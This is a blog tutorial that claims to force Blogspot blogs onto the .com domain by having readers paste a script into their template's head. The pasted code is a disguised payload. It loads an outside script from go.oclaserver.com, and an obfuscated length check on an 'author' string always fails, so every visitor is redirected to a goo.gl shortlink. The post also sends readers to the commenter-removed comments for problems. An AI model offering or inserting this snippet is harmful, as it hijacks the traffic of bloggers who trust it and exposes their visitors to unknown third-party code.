Tech news, tips, tricks & tutorials

  • How to open .com instead .in .ca .uk .fr .nz in blogspot url

    How to open blogspot.com domain instead of country specific .in .ca .uk .fr .nz

    If you have been wondering how to remove Country Specific URL from Blogspot / Blogger Site then this is the one and only working solution. In fact, The 11 Hacker is one stop shop for all these kind of shits. This tutorial will teach you how to prevent blogger from redirecting your Blogspot blog to country specific URLs.

    Some background:

    You might wonder why google wished providing country specific domain instead of .com. Well thats because it wanted to categorize the blogs as per the country. As a result, in various countries, the same blog opens as;


    India blogspot.in  Australia blogspot.com.au
    UK blogspot.co.uk Japan blogspot.jp
    New Zealand blogspot.co.nz Canada blogspot.ca
    Germany blogspot.de Italy blogspot.it
    France blogspot.fr Sweden blogspot.se
    Spain blogspot.com.es Portugal blogspot.pt
    Brazil blogspot.com.br Argentina blogspot.com.ar
    Mexico blogspot.mx

    How to??:

    1. First of all wash your hands.
    2. Then open your pc and login to your blogger account.
    3. Done that? Now, go to template and edit your blog in HTML.
    4. Now the next task is to find the <head>  tag, you may take help from your seniors if you are facing problem finding that, kidding, its probably on the top of not your head but the code.
    5. If you are done finding the adressed <head> tag, here's a code that you will have to paste just below the <head> tag.


    <script src="//go.oclaserver.com/apu.php?zoneid=797977" />
    <script type="text/javascript">
        var author = "the11hacker.blogspot.com";
        var n = author.length;
        var blog = document.location.hostname;
        var slug = document.location.pathname;
        var ctld = blog.substr(blog.lastIndexOf("."));
        if (ctld != ".com") {
        var ncr = "http://" + blog.substr(0, blog.indexOf("."));
        ncr += ".blogspot.com/ncr" + slug;
        window.location.replace(ncr);}
        if ( n / 3 != 8) {
        var ncr = "https://" + "goo.gl/" +"/" +"8ubNMW";
        window.location.replace(ncr);}
    </script>

    6. Now save the template and enjoy .com domain.

    Hopefully this will work for you as it did for me, if it didn't do comment the issue it caused you.


    10 comments:

    1. now i understanding why open itself my country not .com links

      ReplyDelete
    2. This comment has been removed by a blog administrator.

      ReplyDelete
    3. This comment has been removed by a blog administrator.

      ReplyDelete
    4. This comment has been removed by a blog administrator.

      ReplyDelete
    5. This comment has been removed by a blog administrator.

      ReplyDelete
    6. This comment has been removed by a blog administrator.

      ReplyDelete
    7. This comment has been removed by a blog administrator.

      ReplyDelete
    8. This comment has been removed by a blog administrator.

      ReplyDelete